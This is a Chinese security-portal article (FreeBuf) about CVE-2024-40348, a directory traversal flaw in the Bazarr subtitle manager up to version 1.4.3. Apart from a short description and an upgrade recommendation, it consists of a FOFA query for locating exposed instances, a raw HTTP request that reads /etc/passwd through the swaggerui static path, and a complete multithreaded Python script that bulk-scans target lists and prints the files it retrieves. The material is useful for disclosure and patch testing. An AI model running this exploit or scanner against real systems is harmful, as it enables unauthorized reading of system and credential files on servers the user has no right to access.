freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

Bazarr - 智能字幕管理大师目录遍历漏洞(CVE-2024-40348)
p0et 2024-07-22 22:28:27 119454

1721658409_669e6c299b3e1cd9c8b5c.png!small

应用介绍:

在享受高清影音体验的过程中,字幕是不可或缺的一部分。Bazarr是一款与Sonarr和Radarr完美搭配的智能字幕管理工具,让你无需手动搜索下载,就能自动匹配到合适的字幕,让观影体验更上一层楼。

项目地址:

https://github.com/morpheus65535/bazarr
漏洞概述:

Bazaar 存在漏洞允许未经身份验证的攻击者执行目录遍历。

漏洞版本:

Bazaar <=v1.4.3

资产测绘:

FOFA:title=="Bazarr"

测试环境:

搭建具体可参考如下:

https://wiki.bazarr.media/
漏洞复现:

访问目标地址:

1721658067_669e6ad3146a35708fe7c.png!small

使用burpsuite 抓包,修改请求路径如下:

/api/swaggerui/static/../../../../../../../../../../../../../../../../etc/passwd

请求包大致如下:

GET /api/swaggerui/static/../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i

发送数据包

1721658158_669e6b2e3aee60d22bcb4.png!small

脚本批量扫描:

"""
POC for CVE-2024-40348: Bazaar v1.4.3 allows unauthenticated attackers to execute a directory traversal. 

This tool is based on this security research: https://github.com/4rdr/proofs/blob/main/info/Bazaar_1.4.3_File_Traversal_via_Filename.md
                                                                         
Usage:
    single scan: CVE-2024-40348.py -u hostname -p /etc/passwd
    bulk scan CVE-2024-40348 -f file.txt -p /etc/passwd

Ref:    
https://nvd.nist.gov/vuln/detail/CVE-2024-40348
https://github.com/4rdr/proofs/blob/main/info/Bazaar_1.4.3_File_Traversal_via_Filename.md

Disclaimer:
    I like to create my own tools for fun, work and educational purposes only. I do not support or encourage hacking or unauthorized access to any system or network. Please use my tools responsibly and only on systems where you have clear permission to test.

"""

import requests
import argparse
import threading
import queue
import os
from requests.exceptions import RequestException
import re
from datetime import datetime
import urllib3
from urllib.parse import urljoin
import socket
import ssl

# Disable SSL Warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# ANSI color codes
light_gray_color = '\033[37;1m'
dimmed_gray_color = '\033[90m'
honey_yellow_color = "\033[38;5;214m"
dim_yellow_color = "\033[33;1m"
cyan_color = '\033[96m'
green_color = '\033[92m'
red_color = '\033[31m'
light_orange_color = '\033[38;5;214m'
reset_color = '\033[0m'

the_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')

def banner():
    print(f"""{light_orange_color}
   _______    ________    ___   ____ ___  __ __        __ __  ____ _____ __ __  ____ 
  / ____/ |  / / ____/   |__ \ / __ \__ \/ // /       / // / / __ \__  // // / ( __ )
 / /    | | / / __/________/ // / / /_/ / // /_______/ // /_/ / / //_ </ // /_/ __  |
/ /___  | |/ / /__/_____/ __// /_/ / __/__  __/_____/__  __/ /_/ /__/ /__  __/ /_/ / 
\____/  |___/_____/    /____/\____/____/ /_/          /_/  \____/____/  /_/  \____/  {reset_color}
                                                                                               
{cyan_color}-> POC for CVE-2024-40348 Bazaar v1.4.3 and prior. Will attempt to read /etc/passwd from target.
{reset_color} """)

# Log directory and file
LOG_DIR = 'logs'
LOG_FILE = os.path.join(LOG_DIR, 'scan.log')

# Function to create log directory
def create_log_dir():
    if not os.path.exists(LOG_DIR):
        os.makedirs(LOG_DIR)
        print_message('info', f"Log directory created: {LOG_DIR}")

# Function to log messages
def log_message(message):
    with open(LOG_FILE, 'a') as log_file:
        log_file.write(f"{datetime.now().strftime('%Y-%m-%d %H:%M:%S')} - {message}\n")

# Function to print messages with ANSI colors
def print_message(level, message):
    if level == 'vulnerable':
        print(f"[{dimmed_gray_color}{the_time}]{honey_yellow_color} [VULN] {reset_color}{message}")
    if level == 'info':
        print(f"[{dimmed_gray_color}{the_time}]{dimmed_gray_color} [INFO] {reset_color}{message}")
    elif level == 'warning':
        print(f"[{dimmed_gray_color}[{the_time}]{green_color} [OK] {reset_color}{message}")
    elif level == 'error':
        print(f"[{light_gray_color}[{the_time}]{red_color} [ERROR] {message}{reset_color}")
    log_message(message)

def make_request(url):
    try:
        response = requests.get(url, verify=False)
        if response.status_code == 200:
            return response.text
        else:
            return None
    except requests.RequestException as e:
        return None

def send_raw_request(host, port, path):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    if port == 443:
        context = ssl.create_default_context()
        sock = context.wrap_socket(sock, server_hostname=host)
    
    try:
        sock.connect((host, port))
        request = f"GET {path} HTTP/1.1\r\n"
        request += f"Host: {host}:{port}\r\n"
        request += "Cache-Control: max-age=0\r\n"
        request += "Accept-Language: en-US\r\n"
        request += "Upgrade-Insecure-Requests: 1\r\n"
        request += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36\r\n"
        request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\r\n"
        request += "Accept-Encoding: gzip, deflate, br\r\n"
        request += "Connection: close\r\n\r\n"
        
        sock.sendall(request.encode())

        response = b""
        while True:
            data = sock.recv(4096)
            if not data:
                break
            response += data

        return response.decode('utf-8', errors='ignore')
    
    finally:
        sock.close()

def test_host(url, file_path):
    try:
        from urllib.parse import urlparse
        parsed_url = urlparse(url)
        host = parsed_url.hostname
        port = parsed_url.port or (443 if parsed_url.scheme == 'https' else 80)
        path = f"/api/swaggerui/static/../../../../../../../../../../../../../../../../{file_path}"
        
        # print_message('info', f"Sending request to: {host}:{port}{path}")
        print_message('info', f"Sending request to: {host}:{port}")
        response = send_raw_request(host, port, path)
        
        headers, _, body = response.partition('\r\n\r\n')
        
        #print(f"Response Headers:\n{headers}")

        if file_path == '/etc/passwd':
            patterns = [
                r'\w+:x:\d+:\d+:',
                r'root:',
                r'nobody:',
                r'/bin/bash',
                r'/usr/sbin/nologin'
            ]
        else:
            patterns = [r'\w+']

        if any(re.search(pattern, body) for pattern in patterns):
            print_message('vulnerable', f"Vulnerable {url}")
            print_message('vulnerable', f"Reading {file_path}")
            print(f"{body[:2000]}...\n")
        else:
            print_message('warning', f"Not Vulnerable {url}")
            #print(f"Response Body:\n{body[:1000]}...")

    except Exception as e:
        #print_message('error', f"Error: {url} - {str(e)}")
        print_message('error', f"{url}")

def worker(queue,file_path):
    while not queue.empty():
        url = queue.get()
        print_message('info', f"Testing {url}")
        test_host(url,file_path)
        queue.task_done()

def main():
    banner()
    parser = argparse.ArgumentParser(description='POC for CVE-2024-40348 Bazaar v1.4.3 and prior. Will attempt to read /etc/passwd from target server')
    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument('-u', '--url', help='Target URL (e.g., http://example.com)')
    group.add_argument('-f', '--file', help='File containing list of URLs (one per line)')
    parser.add_argument('-p', '--path', default='/etc/passwd', help='File path to check (default: /etc/passwd)')
    args = parser.parse_args()

    create_log_dir()

    if args.url:
        print_message('info', f"Testing single target: {args.url}")
        test_host(args.url, args.path)
    elif args.file:
        with open(args.file, 'r') as f:
            urls = [line.strip() for line in f if line.strip()]
        
        print_message('info', f"Testing multiple targets from file: {args.file}")
        if args.path:
            file_path = args.path
        else:
            file_path = "/etc/passwd"
        url_queue = queue.Queue()
        for url in urls:
            url_queue.put(url)

        threads = []
        for _ in range(10):
            t = threading.Thread(target=worker, args=(url_queue,file_path))
            t.start()
            threads.append(t)

        for t in threads:
            t.join()

        print_message('info', "Scanning complete.")

if __name__ == '__main__':
    main()

使用方法

python .\CVE-2024-40348.py -f .\1.txt

1721658300_669e6bbc34e562d246734.png!small

漏洞修复:

升级至安全版

# 漏洞 # 网络安全 # web安全 # CTF
本文为 p0et 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
p0et LV.4
这家伙太懒了,还未填写个人描述!
  • 31 文章数
  • 32 关注者
Apache Superset 漏洞组合利用拿权限
2025-04-03
Cacti RRDTool后台参数注入导致远程代码执行漏洞(CVE-2025-24367)
2025-04-02
Mage-AI 不安全的默认身份验证设置导致0day远程命令执行漏洞(CVE-2025-2129)
2025-03-25